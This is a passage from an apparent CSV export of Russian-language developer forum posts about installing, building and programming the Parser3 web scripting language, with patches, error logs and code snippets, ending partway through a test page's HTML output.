Хотя, в случае, если это затруднит работу (например, потребуется перелопачивать чужие библиотеки), то, имхо, овчинка выделки не стоит.\
\
Еще раз большое спасибо, за все что для нас уже сделано :)"
"28275","Кука видна в текущем домене и всех его поддоменах.\
Мораль - пользовать у куки опцию $.domain[], куда писать имя типа yandex.ru - тогда и в www. и в pasport. ее видно будет.\
Учтите одно - в .ru куку поставить нельзя - только в домен 2 и больших уровней.\
В общем - RTFM ;-)"
"28276","А вы думаете, что если \"чужая бибилиотека\" сама не знает, что за ошибка, это таки знает PAF? ;-)"
"28278","Кто-нибудь собирал parser3mysql-3.1.2 перед тем, как выложить его на сайт? Там внутри каталог parser3-mysql-3.1.HEAD. Это ладно. При сборке ругается:\
\
parser3mysql.C:49: macro `toupper' used with too many (3) args\
parser3mysql.C:125: macro `toupper' used with too many (3) args\
parser3mysql.C: In function `void __toupper(char *)':\
parser3mysql.C:50: `size' undeclared (first use this function)\
parser3mysql.C:50: (Each undeclared identifier is reported only once\
parser3mysql.C:50: for each function it appears in.)\
parser3mysql.C:51: `in' undeclared (first use this function)\
*** Error code 1\
\
Сейчас попробую покурочить."
"28280","Что собрать и запустить parser модулем, пришлось сделать так:\
\
--- src/targets/apache13/p3runConfigure.in.orig	Thu Jul 24 15:31:24 2003\
+++ src/targets/apache13/p3runConfigure.in	Thu Mar 18 09:32:23 2004\
@@ -3,4 +3,5 @@\
 P3S=@P3S@\
 \
 P3LIBS=\"$P3S/main/libmain.a $P3S/classes/libclasses.a $P3S/types/libtypes.a $P3S/main/libmain.a $P3S/lib/ltdl/libltdlc.a $P3S/classes/gd/libgd.a $P3S/lib/cord/libcord.a $P3S/lib/pcre/libpcre.a $P3S/lib/md5/libmd5.a $P3S/targets/apache13core/libmod_parser3core.a\"\
-LIBS=\"$LIBS $P3LIBS $P3LIBS @LIBADD_DL@ @GC_LIBS@ @XML_LIBS@ @MIME_LIBS@ @CPP_LIBS@\" ./configure --add-module=$P3S/targets/apache13/mod_parser3.c $*\
+LIBS=\"$LIBS $P3LIBS $P3LIBS @LIBADD_DL@ @GC_LIBS@ @XML_LIBS@ @MIME_LIBS@ @CPP_LIBS@ $P3S/lib/smtp/libsmtp.a\"\
+apxs -c mod_parser3.c $LIBS\
\
--- src/targets/apache13core/Makefile.in.orig	Fri Oct 31 15:46:44 2003\
+++ src/targets/apache13core/Makefile.in	Thu Mar 18 09:20:53 2004\
@@ -146,7 +146,7 @@\
 target_alias = @target_alias@\
 \
 #@test why not INCLUDES=?\
-INCLUDES := $(INCLUDES) -I../apache13 -I../../classes -I../../types $(INCLTDL) -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I$(APACHE13)/src/include -I$(APACHE13)/src/os/unix -I$(APACHE13)/src/os/win32 @XML_INCLUDES@\
+INCLUDES += -I../apache13 -I../../classes -I../../types $(INCLTDL) -I../../sql -I../../lib/gc/include -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I$(APACHE13)/src/include -I$(APACHE13)/src/os/unix -I$(APACHE13)/src/os/win32 @XML_INCLUDES@\
 \
 noinst_LIBRARIES = libmod_parser3core.a\
 libmod_parser3core_a_DEPENDENCIES = Makefile ../apache13/pa_httpd.h"
"28281","[Tue Mar 30 14:47:13 2004] /parser/_test.html?: parser already configured [parser.runtime]\
Возникает если в корне диска лежат папки с разными версиями парсера"
"28282","который должен быть определен только в конфигурационном auto.p (желательно)"
"28283","Я только поставил парсер и каталоге только одна страница _test.html Причем эта ошибка появляестся у меня только на win2003"
"28284","Не могли бы объяснить про параметры в собственных функциях: чем отличается @myfunc[first;second] и @myfunc[first][second]"
"28285","^метод[передаваемые;аргументы][локальные;переменные]"
"28286","Есть у меня такая штука, но написали мы ее достаточно давно, еще на П-2, а теперь хотелось бы перевести ее на П-3 и сделать под GNU GPL. Проблема в том, что под нее уже сделано несколько массивных сайтов, а моих ресурсов хватит либо на переписывание кода, либо на перенос сайтов. Если кто-то хочет поучаствовать, это будет очень здорово.\
Кода - 150 кб, всё документировано (хотя в самом коде полно переменных с непонятными названиями). По возможностям немного выше, чем NetCat. Недавно переделан административный интерфейс в сторону повышения удобства."
"28287","Вопрос: \
\
Как объяснить то, что в парсере нельзя (!) изменять данные в таблицах (класс table)?!?\
 Если ли какое-то разумное объяснение этого ограничения, на что рассчитано это ограничение?\
\
 Можно ли изменить одну строку в таблице, не создавая новой таблицы?\
\
 Есть ли надежда, что это ограничение будет снято в пределах разумного времени?"
"28289","Немного подумав можно написать свою реализацию. Там не так сложно.\
Сорри, если заголовок показался обидным. Не выйдет - пишите опять. Я помогу."
"28290","можно обсудить ;)"
"28291","Для начала нужно\
создать сайт, разбить работу на блоки - и начать.\
Рассылку можно свою сделать, баги фиксить, и т.д."
"28293","Не могу установить\
\
Какието соображения есть\
\
The CGI environment at the time of this error was:\
\
DOCUMENT_ROOT = /usr/local/etc/httpd/htdocs\
ERROR_NOTES = Premature end of script headers: /usr/local/etc/httpd/cgi-bin/suid\
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\
HTTP_ACCEPT_LANGUAGE = en-us\
HTTP_CONNECTION = Keep-Alive\
HTTP_HOST = ******.**.***\
HTTP_REFERER = http://******.**.***/cgi-bin/suid/~report/checkuserscript?server=******.**.***&user=cca1&script=parser3.cgi\
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)\
HTTP_VIA = 1.0 SBSSERVER\
PATH = /bin:/sbin:/usr/bin:/usr/sbin\
REMOTE_ADDR = **.**.**.*\
REMOTE_PORT = 27218\
REQUEST_METHOD = GET\
SCRIPT_FILENAME = /usr/local/etc/httpd/cgi-bin/suid\
SERVER_ADDR = ***.***.***.*\
SERVER_ADMIN = *******@**.***\
SERVER_NAME = ******.**.***\
SERVER_PORT = 80\
SERVER_SOFTWARE = Apache/1.3.26 (Unix) AuthMySQL/2.20 PHP/4.1.2 mod_gzip/1.3.19.1a mod_ssl/2.8.9 OpenSSL/0.9.6g\
STATUS = 500\
URL = /cgi-bin/suid/~cca1/parser3.cgi"
"28294","...хотя поначалу непривычно. Ибо. Таблицы (мной, по крайней мере) в основном используются в качестве буферного средства при перекладках данных. Для более хитрых манипуляций есть SQL.\
\
----\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"28298","выкладываете код, люди либо помогают, либо нет."
"28299","у вас с ним договор. перечитайте его."
"28300","Его еще нужно подготовить, включая схемы и диаграммы, cvs организовать, да лицензию выбрать. Пусть регистрируются, а начало разработки я и здесь и там объявлю. Время всем дорого."
"28301","2. потом приходите сюда.\
\
и никаких ссылок на регистрационные формы в этом форуме."
"28302","Почему?"
"28303","Можно в parser включить вот такой патч, позволяющий определять имя parser'ного лога в переменной окружения? У меня давно готов FreeBSD port для parser'а, но я не могу его отослать, по использую этот свой патч.\
\
--- src/targets/cgi/parser3.C.orig	Thu Jul 24 15:31:25 2003\
+++ src/targets/cgi/parser3.C	Fri Mar 19 12:26:56 2004\
@@ -35,6 +35,7 @@\
 \
 #define REDIRECT_PREFIX \"REDIRECT_\"\
 #define PARSER_CONFIG_ENV_NAME \"CGI_PARSER_CONFIG\"\
+#define PARSER_LOG_ENV_NAME \"CGI_PARSER_LOG\"\
 \
 /// IIS refuses to read bigger chunks\
 const size_t READ_POST_CHUNK_SIZE=0x400*0x400; // 1M \
@@ -59,7 +60,15 @@\
 	bool opened=false;\
 	FILE *f=0;\
 \
-	if(config_filespec_cstr) {\
+	const char* log_by_env=getenv(PARSER_LOG_ENV_NAME);\
+	if(log_by_env == NULL)\
+	  log_by_env=getenv(REDIRECT_PREFIX PARSER_LOG_ENV_NAME);\
+	if(log_by_env) {\
+	  f=fopen(log_by_env, \"at\");\
+	  opened = f != NULL;\
+	}\
+\
+	if(!opened && config_filespec_cstr) {\
 		char beside_config_path[MAX_STRING];\
 		strncpy(beside_config_path, config_filespec_cstr, MAX_STRING-1);  beside_config_path[MAX_STRING-1]=0;\
 		if(!("
"28304","Если желающие есть, можно и попробовать.\
Главное - не допустить изменения функциональности."
"28305","Будет ли в будущем возможность узнать какая версия парсера запущена?\
Что-то типа $env:_parser_ver ну или как-нибудь иначе, (как там будет правильнее, чтобы все в духе паресера), но была бы возможность узнать версию внутри самого скрипта?"
"28306","поставил в todo, выпущу с 3.1.3, которая выйдет скоро (исправит замеченные в 3.1.2 мелочи)"
"28308","Сайт располагается в каталоге c:\\web\\home\\www\\\
То что находится в этом каталоге видно из Интернет:\
c:\\web\\home\\www\\index.html\
http://index.html\
\
Вопрос: как мне получить доступ из Parser к каталогам:\
c:\\web\\home\\\
c:\\web\\\
и прочим, не видным из Интернет?"
"28309","Миш, а можно в текст письма кроме ссылки http://www.parser.ru/forum/?id=123 дописать что-то типа \
[code]\
<a href=\"http://www.parser.ru/forum/message.html?id=123\">ответить на сообщение</a>?\
[/code]\
Сэкономится пара кликов мыши.."
"28310","Т.Е. \
^документ.transform[шаблон][XSLT-параметры] - это возможность проинитить локальные параметры?\
\
А вот где RT про конструкцию вида\
^метод{}[] ?"
"28311",".. и если настройки позволяют, то\
/../home/\
/../../web/"
"28312","оба ваши вопроса там отвечены.\
\
вы пока путаете описание метода и его вызов."
"28313","Пример:\
Есть некий класс myclass.p внутри него вызывается файл с некими дефолтными данными default.cfg \
Оба эти файла лежат в отдельной папке к примеру в /../classes/my/\
Задана таблица путей классов:\
[code]\
$CLASS_PATH[^table::create{path\
/../classes\
/../classes/my\
}]\
[/code]\
\
Вопросы:\
Как узнать путь до класса, чтобы загружать из той же папки файл с дефолтными данными (default.cfg)? Может есть смысл добавить еще один $request возвращающий путь к классу?\
\
Дополнение:\
При обычной работе класса можно передавать путь к подобным файлам в качестве параметра, но именно дефолтные данные хотелось бы принимать без передачи каких-либо параметров."
"28314","объявите и используйте параметр у метода @auto.\
\
работает, как и у @conf.\
добавлю в документацию (почему-то туда эта мелочь не попала)."
"28315","Вот код:\
[code]\
@auto[filespec]\
$c_dir[^file:dirname[$filespec]]\
$tab[^table::load[$c_dir/my.cfg]]\
[/code]\
\
Пытаюсь загрузить файл по этому пути, получаю ошибку что файл не найден.\
\
Вопрос почему?\
\
Вот путь который попадает в $c_dir (/home/spearance/htdocs/../classes/myclass)\
Мне кажется тут дело либо в полном пути, и его придется отсекать до корня веб пространства, либо в относительном пути."
"28316","Это здесь"
"28318","но уже добавил в то место, где ожидал увидеть. пусть будет :)\
\
выложу со следующей сборкой документации."
"28319","отнимите от него $request:document-root"
"28320","Написано, что абслоютный путь к файлу /каталог/файл\
Но ведь это от корня веб-пространства! А мне нужно от корня домашней директории!\
\
Например, что мне записать в этом случае:\
\
^use[\\home\\classes\\file.p]\
\
В то время как веб-пространство начинается с /home/www/\
И Парсер ищет не там где надо.\
То есть в /home/www/\\home\\classes\\file.p"
"28322","Есть таблицы ACL и OBJECT\
\
[code]\
ACL\
========================================\
object_id   auser_id    right\
1           3           4\
\
OBJECT\
========================================\
object_id   parent_id   thread_id   irf\
1           0           1           0\
2           1           1           1\
[/code]\
\
если просим ...^getRightsToObject[...] для объекта 1, получаем 4\
\
и если я правильно понял\
...^getRightsToObject[...] для объекта 2, должен вернуть тоже 4\
\
так ли это ???"
"28324","Друзья, может быть, это уже двадцать раз обсуждалось. \
Но ни фак, ни поиск особо проблему не решили. \
\
Устанавливаю на Peterhost.ru. Заливаю в cgi-bin, потом .htaccess, все дела. Ошибка 500, в еррор-логе очень вразумительное premature end of script headers. \
\
При прямом вызове hwat.ru/cgi-bin/parser3.cgi -- та же ошибка. \
Если путтей зайти внутрь и запустить cgi -- вроде работает, пишет версию и копирайты. Значит, скомпилировано под ту систему, что нужно? Там \"FreeBSD 4.*\", как мне сообщила техподдержка. \
\
Предлагают самому собирать из исходников. Что кроме этого можно попробовать, а если нельзя -- как собрать? что у меня там прав, что ли хватит... Я кроме chown в этих юниксах ни черта не понимаю, если честно. \
\
Люди добрые. Кто чем может и проч."
"28325","и copy/paste сюда."
"28326","друзья, сейчас идут последние правки на англоязычном сайте parser.ru\
\
если у кого есть англоязычный проект, есть желание рассказать о нём на англоязычной версии раздела\
http://www.parser.ru/powered_by_parser/\
\
просьба сообщить мне об этом (лучше почтой).\
\
новые поступления в русскоязычный раздел тоже welcome."
"28327","Какие слэшы \"правильные\" простые или обратные?\
;)\
т.е. если юзер передает адрес мне нужно его преобразовывать перед тем как пытаться считать файл?"
"28328","Версия, насколько я в курсе, правильная.\
Бит executable я поставил. \
Закачивал в бинари. \
Опечаток в htaccess нет.\
К каким-то другим логам, кроме стандартного errorlog, у меня доступа нет.\
\
Мне их админ ответил следующее (избранные цитаты):\
\"По непроверенным данным, parser работает только с данными, которые Вы размещаете в подкаталоге htdocs Вашего виртуального сайта (полный путь для Вас /home/Ваш_логин/www/Ваш_сайт/public_html/htdocs)\"."
"28329","Пошлю вам на емэйл архив с Парсером, который мне как то присылал Виктор Смирнов, настроите под себя\
\
p.s. в faq недостаточно информации"
"28330","Пример следующий:\
[code]\
$handle[http://www.site.ru/page1.html]\
$f1[^file::load[text;$handle]]\
[/code]\
Если парсер не может открыть данную страницу, то возникает ошибка \"404 invalid HTTP response status\", есть ли возможность проверить заранее существует ли страница?\
Или же данную ошибку можно обойти только перехватом?"
"28331","Открываю страницу методом\
[code]$f[^file::load[text;http://site.ru]][/code]\
вырезаю из нее нужные мне куски текста...\
При попытке записи одного из кусков в БД возникает ошибка:\
\"500 Internal Server Error\" в логе сайта написано \"...Premature end of script headers: ...\"\
Если просто вывести на экран вырезанный текст, то ошибка не проявляется.\
Думаю что проблему эту можно решить с помощью операторов ^taint или ^untaint ...\
Пока в голову пришло только это ^untaint[http-header]{$str} ,\
от ошибки это помогает избавиться, но текст записывается в БД преобразованный к виду http-header, что по-моему не очень хорошо..."
"28334","Сохраняйте в файлик MD5 отпечаток вашего текста при каждом посте, и при следующем посте проверяйте, если контрольная сумма совпала, просто не сохраняйте его.\
[code]\
########################################\
# Избавляемся от двойного поста данных\
#\
# 0 - нет совпадения\
# 1 - есть совпадение (повторный пост)\
#\
#####\
@double_post[file_name;text][file;summ]\
$summ[^math:md5[$text]]\
^if(-f \"$file_name\"){\
	$file[^file::load[text;$file_name]]\
	^if($file.text eq $summ){\
		$result(1)\
	}{\
		^summ.save[$file_name]\
		$result(0)\
	}\
}{\
	^summ.save[$file_name]\
	$result(0)\
}\
### End @double_post\
[/code]\
\
Вызов:\
[code]\
^if(^double_post[файлик_в_котором_лежит_контрольная_сумма;текст] == 0){\
сохраняем данные\
}{\
не сохраняем\
}\
[/code]"
"28335","Добрый день!\
Что-то я застрял в одном месте - не могу вылезти. Подскажите!\
Есть стандартная форма ввода информации. Рядом с комбобоксами есть кнопка вызова справочника (открывается отдельное окно).\
В ней есть кнопка добавить/удаления запись.\
SQL код, который выполняется при нажатии выполняется нормально.\
Но вот после выполнения операции должно происходить обновление окна, а у меня происходит ОШИБКА.\
\
Фрагменты кода:\
1. Вызов окна справочника:\
[code]\
<select name=\"sex\" value=3><option value='23' selected>муж</option>\
<option value='24'\
>жен</option>\
</select>\
<button type=\"button\" onClick=\"window.open('refer.html?sess=DD971AB8-D6AD-4FD6-989C-B20928EE331B&spr=sex&field=sex', 'spr', config='height=350,width=300,resizable=yes,scrollbars=yes,status=yes')\"><img src=\"/my/img/spr.gif\"></button>\
[/code]\
\
2. Кнопка \"Удалить запись\"\
[code]\
<input type=\"submit\" value=\"Удалить выбранную запись\" name=\"spr_del\" style=\"width:250px;\">\
[/code]\
\
3. Обработка нажатия (находится в auto.p этой папки)\
^if(def $form:spr_del){\
^connect[$SQL.connect-string]{^void:sql{delete from refer where code=$form:spr}}\
\
$response:location[$form:url_back]\
}\
\
Где url_back - скрытое поле на форме справочника (refer.html)\
[code]\
$str[$request:uri ] \
$parts[^str.split[/;h]] \
<input type=hidden value=\"^taint[as-is][$parts.2]\" name=\"url_back\">\
[/code]\
на самой странице это выглядит так:\
[code]\
<input type=hidden value=\"http://127.0.0.1/my/refer.html&sess=DD971AB8-D6AD-4FD6-989C-B20928EE331B\" name=\"url_back\">\
[/code]\
\
ТАК ВОТ:\
При нажатии на кнопку я получаю ошибку:\
\
You don't have permission to access /My/refer.html?sess=DD971AB8-D6AD-4FD6-989C-B20928EE331B&spr=sex&field=sex on this server\
\
Если этот линк открыть просто в браузере, все открывается нормально."
"28337","четче выражайте мысль, а то не совсем понятно, так что за ответ не обижаться.\
Вот вам ответ  /"
"28339","по возможности, сделайте буквально, потом copy/paste сюда.\
[code]\
cd /путь/к/корню/вашего/веб-пространства\
../cgi-bin(или как он у вас называется)/parser3.cgi _test.html\
[/code]\
\
_test.html это тест из раздела \"скачать\"."
"28341","по возможности, уменьшите тест до минимума."
"28342","адрес файла на диске.\
под виндой/unix"
"28343","и вы неправильно привели сообщение об ошибке.\
пожалуйста, всегда делайте copy/paste.\
\
на самом деле вы видели вот это:\
[code]\
Forbidden\
You don't have permission to access /http://127.0.0.1/... on this server.\
[/code]"
"28345","Есть интернет-магазин [ http://pclub.ru/i-shop/ ] в котором реализована фильтрация выходных данных\
Необходимо добавить к нему возможность скачать offline документ (RTF, Excell) содержащий выбранные пользователем данные\
Результаты выборки должны содержать дополнительную информацию (о компании + условия выборки)\
С RTF проблем не возникло - там можно использовать текстовые коды, задающие формат документа, а вот с excell ...\
Может кто сталкивался с такой проблемой?"
"28347","В момент открытия сконвертирует и без писка откроет.."
"28349","Накопились вопросы, и хотелось бы на них получить вразумительные ответы.\
\
В документации по ^file:lock написано что код не выполняется одновременно для обеспечения эксклюзивности используется файл блокировки.\
\
1) Сможет ли эта блокировка правильно отреагировать на три, пять, десять одновременных попыток выполнить код?\
2) Что пишется в этот файл?\
3) Как происходит процесс блокировки если можно на примере 3х пользователей?\
\
Заранее спасибо."
"28350","Проблема уже обсуждалась:\
http://www.parser.ru/forum/?id=16499\
\
Не работает ^mail.send.\
\
Ошибка: Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it\
\
Вроде все из-за неправильных путей и надо перекомпилить Parser.\
Если честно не имею должной квалификации в этой области, может кто подскажет или поделится перекомпиленным парсер?"
"28351","есть типограф на сайте\
пашет нормально, но нашел \"затык\":\
статья нормально дельтся на абзацы\
$rep[^table::create{from	to\
^taint[^#0A]^taint[^#0A]	</p><p>\
^taint[^#0A]	<br>\
$t[^t.replace[$rep]]\
но вот стих на строфы не разбивает, хотя строки(внутри строфы) делит нормально.\
стих в базе лежит разбитый на строфы пустыми строками."
"28352","^table.menu выводит все,\
^table.offset(5) выводит 5-ую,\
А как вывести с пятой по восьмую?"
"28356","1. сможет;\
2. сейчас файл создаётся, потом укорачивается до 0 байт, содержимое стирается;\
3. \
приходит первый: файл блокируется\
приходит последующий: его выполнение приостанавливается\
первый: делает дела\
первый: файл разблокирует\
случайный последующий: файл блокирует\
и т.д"
"28357","уже обсуждалось. вам нужен grpunlim вариант."
"28358","Если короче, то можно в любом HEX редакторе просто выправить /usr/sbin/sendmail на правильный. Я так постоянно делал на одном из хостингов - всё нормально..."
"28359","теперь поддерживается, можно в @conf указать адрес SMTP сервера, если знаете: не понадобится запускать sendmail."
"28362","Столкнулся с такой ситуацией:\
одним из параметров, передаваемых функции, является целочисленная переменная [code]$z[/code]\
при вызове [code]^z.inc[][/code] оказывается, что парсер думает, что это строка:\
'inc' string method not found.\
Конечно, если создать целочисленную переменную, например, i на основе этой строки,\
то все работает [code]$i($z)[/code]\
\
Тоесть, если я правильно понял, в таких случаях нужно всегда \
явно приводить к целому ?\
\
Спасибо."
"28363","^method[10] - передаем строку\
^method(10) - передаем число"
"28364","В парсере ведь нет аналогов операторов break или return ? (документацию читал - нету ;)\
Например, есть хэш\
нужно найти индекс первого вхождения определенного элемента, начиная от заданного индекса. Как я понял, в любом случае придется пройти хэш до конца. \
\
Или Вы считаете, что для задач, поставленных перед парсером такая возможность лишняя ?\
\
Заранее спасибо !"
"28365","А если у меня два параметра - первый строка, второй - int ?"
"28366","Хэш хранится и отдается \"как ему больше нравится\".\
Если хочется найти \"3\" в хэше (первое \"b\" после \"2\"):\
[code]1 -> a\
2 -> b\
3 -> b\
4 -> b[/code]\
еще не факт, что найдется 3, а не 4. Устроит такой ответ? Кажется мне, что не устроит...\
\
Кстати, почему бы не использовать table? Задача в таком случае упрощается неимоверно и решается в два действия."
"28368","в моем случае hash - это NodeList hash, а в него элементы попадают в порядке следования в xml-документе, а перебираю элементы хэша оператором [code]^for()[/code], а не методом [code]hash.foreach[][/code], так что порядок следования у меня сохраняется.\
А таблица не подойдет - так как мне нужно отслеживать иерархию.\
Но все равно, спасибо за ответ - особенно на предыдущий вопрос !"
"28371","<html>\
<head><title>Unhandled Exception (parser.runtime)</title></head>\
<body>\
<H1>Unhandled Exception (parser.runtime)</H1>\
<pre>parser already configured</pre>\
<!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- --><!-- -->\
</body>\
\
-------------\
Вот. Не особо информативно."
"28372","http://www.parser.ru/forum/?id=20871\
практически идентичная ситуация. только там ничем она не закончилась :-)"
"28374","вы положили _test.html не в cgi-bin ли?\
\
P.S. http://www.parser.ru/forum/?id=24431"
"28375","Программа сперва копирует файл с фоткой на сервер, потом отправляет письмо с этой фоткой и далее удаляет фотку с сервера. \
\
$filenamephoto1[$form:photo1]\
^if(def $form:photo1){\
	^form:photo1.save[binary;../temp/$filenamephoto1.name]\
}\
\
^if(def $form:photo1){\
^mail:send[\
$.from[Анкета online name@domen.ru]\
$.to[Name <name@domen.ru>]\
$.subject[Анкета online]\
$.file[^file::load[binary;../temp/$filenamephoto1.name]]\
]\
}\
\
^file:delete[../temp/$filenamefoto1.name]\
\
Но выходит ошибка:\
'usr/sbin/sendmail' reported problem: UNKNOWN (1) \
send\
exception.type=email.send \
\
Никто не видит в каком месте в программе ошибка?"
"28376","... 'Анкета online name@domen.ru'\
\
мне кажется, что вас тоже пошлют."
"28377","Сам нашёл решение и стало куда приятйней :) Но возникла проблемка. Я сдвигал строку классом .offset(4) и указывал $.limit(10), но если мне нужно добавить строчку в .cfg, то опять придётся лезть в auto.p и опять сдвигать строки. Как выйти из этого положения?"
"28381","Так. \
Расскажите тогда, куда что класть и как при этих раскладах запустить парсер в шелле с параметрами?\
\
И вообще, если оно запускается в принципе, значит версия -- для той ОС, что нужно? Значит дело в настройках? Но в каких? На своей машине, win32 естественно, я парсер как только ни ставил, и никогда никаких ошибок и проблем не было. \
\
Мама. Я этот прематуре, видимо, буду видеть и во сне."
"28385","Спасибо, но можно поподробней?"
"28387","Что будет работать быстрее match по большому тексту или тот же match, но уже много раз по тексту намного меньшего размера?"
"28389","Установил последний \"джентельменский набор\", из примеров взял гостевуху, и вот что мне интерпритатор написал: w:/home/test.ru/www/classes/gbook.p(2:7): 'CLASS ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
\
В чем проблема???"
"28391","первые 3 строки gbook.p :\
@CLASS\
gbook\
@load[] и т.д.\
CLASS написан латинскими... А сообщение об ошибке вообще странное - 'CLASS' не правильно а 'CLASS' - провильно... что не так?"
"28392","Блок ^try{код}{обработка} можно прикрутить и для подобного.\
\
Но самое простое решение в конкретном случае - внимательно изучить документацию по XPath ;-) В XPath есть все инструменты для выбора нужной ноды в один запрос.\
\
Например, если имя нужной ноды лежит в $nodeName [code]following-sibling::*[name() = '$nodeName'][1][/code] даст \"первую такую же ноду на данном уровне относительно текущей\".\
Надеюсь, не надо объяснять, как получить имя текущей ноды? ;-)\
Использование подобных запросов очевидно снимает необходимость перебора хэша.\
\
Нужны другие ноды? Давайте тогда будем обсуждать конкретные задачи, а не \"философское наличие/отсутствие быстрого выхода из цикла\", ибо break не появится в парсере с очень большой вероятностью ;-)"
"28394","Вот, противники технологии, пытались укорить меня [url=\"http://www.lightside.ru/i/lebedev.png\"]этой[/url] картинкой. Я им на это сказал, ну, млин... Всяко случаецца..."
"28395","эту картинку :) \
http://www.php.ru\
смотреть \"Powered by\""
"28396","ошибка бывают ВЕЗДЕ.\
они язконезависимы (с) не помню кто, но здесь подобное уже обсуждалось\
я делал кучу проектов на Парсере, знаю много людей, которые используют этот инструмент и считают его очень удобным.\
для того, чтобы ответить людям, пытающимсЯ опорочить Вашу любимую технологоию, заходите в google или в яндекс и набираете \"ошибки <их любимая технология>\". завалит результатами. :)"
"28397","Вроде бы что-то двигается:\
\
[code]\
=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2004.04.03 17:50:14 =~=~=~=~=~=~=~=~=~=~=~=\
\
<h1>Parser 3.x test page</h1>\
<p>Если вы видите эту страницу, значит вы установили парсер и пытаетесь его протестировать :)</p>\
<p>Чтобы увидеть полные пути к конфигурационным файлам и DOCUMENT_ROOT - закоментируйте метод postprocess[]</p>\
<p>Если что-либо выделено красным цветом, значит или что-то настроено неверно или автоматическое определение невозможно \
(это относится к поиску файлов библиотек и кодовых таблиц при заданных относительных путях).</p>\
<hr />\
\
<h2>Глобальные переменные, заданые в конфигурационном auto.p</h2>\
\
<h3>$CHARSETS:</h3>\
\
	<table cellpadding=\"5\" cellspacing=\"0\" border=\"1\">\
	\
		<tr>\
			<td>windows-1251</td>\
			<td>$charsetsdir/windows-1251.cfg</td>\
			<td>относительный путь. <b style=\"color:red\">проверка невозможна</b></td>\
		</tr>\
	\
		<tr>\
			<td>koi8-r</td>\
			<td>$charsetsdir/koi8-r.cfg</td>\
			<td>относительный путь. <b style=\"color:red\">проверка невозможна</b></td>\
		</tr>\
	\
	</table>\
\
\
<h3>$SQL:</h3>\
\
	\
		<table cellpadding=\"5\" cellspacing=\"0\" border=\"1\">\
		\
			<tr><td>mysql</td><td>$sqldriversdir/parser3mysql.dll (относительный путь. <b style=\"color:red\">проверка невозможна</b>)</td><td>$sqldriversdir/libmySQL.dll (относительный путь. <b style=\"color:red\">проверка невозможна</b>)</td></tr>\
		\
		</table>\
	\
\
\
<p>\
<b>DOCUMENT_ROOT:</b> <br />\
<b>$response:charset:</b> WINDOWS-1251<br />\
<b>$request:charset:</b> WINDOWS-1251<br />\
<b>$request:uri:</b> <br />\
<b>$request:query:</b>  <br />\
<b>$SQL.connect-string:</b> определена<br />\
<b>$CLASS_PATH:</b>\
\
	<br />\
	\
		<table cellpadding=\"5\" cellspacing=\"0\" border=\"1\">\
		<tr><td>/classes/</td><td><b style=\"color:red\">каталога не существует</b></td></tr>\
		</table>\
	\
\
</p>\
\
<h2>Демонстрация работы парсера</h2>\
<h3>Демонстрация работы с cookie</h3>\
<p>\
Чтение $cookie:test: не определена<br />\
Запись в cookie значения ABC $cookie:test[ABC] (нажмите Reload для проверки)<br />\
</p>\
\
<h3>Демонстрация работы математических операторов</h3>\
<p>\
^eval(2+2): 4<br />\
^math:random(1000): 711\
</p>\
\
\
<h3>Работа со строками</h3>\
<p>\
\
\
\
Задание $str[АбвГде] <br />\
Длина строки ^str.length[]: 6<br />\
Строка в верхнем регистре ^str.upper[]: АБВГДЕ<br />\
Строка в нижнем регистре ^str.lower[]: абвгде<br />\
Первые 2 символа строки ^str.left(2): Аб<br />\
Последние 3 символа строки ^str.right(3): Где<br />\
2-4 символы строки ^str.mid(1;3): бвГ<br />\
Позиция символа 'Г' в строке ^str.pos[Г]: 3<br />\
Позиция символа 'X' в строке ^str.pos[X]: -1<br />\
Замена комбинации символов 'вГ' на XX с помощью  ^str.match[вГ][]{XX}: АбXXде<br />\
\
Замена комбинации символов 'в' на 'Y', 'Г' на 'Z' с помощью ^str.replace[$repl]: АбYZде<br />\
</p>\
\
\
<h3>Чтение значений из формы</h3>\
<p>\
$form:a: не определено<br />\
Safe преобразование $form:a в целое число: ^form:a.int(1): 1<br />\
\
	$form:b не определено\
\
<br />\
$form:qtail: не определено<br />\
\
	<a href=\"?a=321&b=%C0&b=%C1&b=%C2%C3%C4?ABC\">идем сюда чтобы проверить чтение значений формы</a>\
\
</p>\
\
<h3>Задание и вывод значений у объекта hash</h3>\
<p>\
<pre>\
$hash1[\
&nbsp;&nbsp;$.a[1]\
&nbsp;&nbsp;$.b[2]\
&nbsp;&nbsp;$.c[3]\
]\
^hash1.foreach[key;value]{\
&nbsp;&nbsp;$key=$value\
}[&lt;br /&gt;]\
</pre>\
\
\
	a=1\
<br />\
	b=2\
<br />\
	c=3\
\
</p>\
\
\
<h3>Задание и вывод значений у объекта table</h3>\
<pre>$tbl1[^table::create{name	col1	col2\
Вася	3	5\
Дима	4	14}]</pre>\
\
Количество строк таблицы $tbl1: 2<br />\
\
Количество столбцов таблицы $tbl1: 3<br />\
Вывод названий столбцов таблицы:<br />\
\
	<table cellpadding=\"3\" cellspacing=\"0\" border=\"1\">\
	\
	\
	<tr>\
		<th width=\"50%\">строка</th>\
		<th width=\"50%\">column</th>\
	</tr>\
	\
		<tr>\
			<td>1</td>\
			<td>name</td>\
		</tr>\
	\
		<tr>\
			<td>2</td>\
			<td>col1</td>\
		</tr>\
	\
		<tr>\
			<td>3</td>\
			<td>col2</td>\
		</tr>\
	\
	</table>\
\
\
\
\
\
\
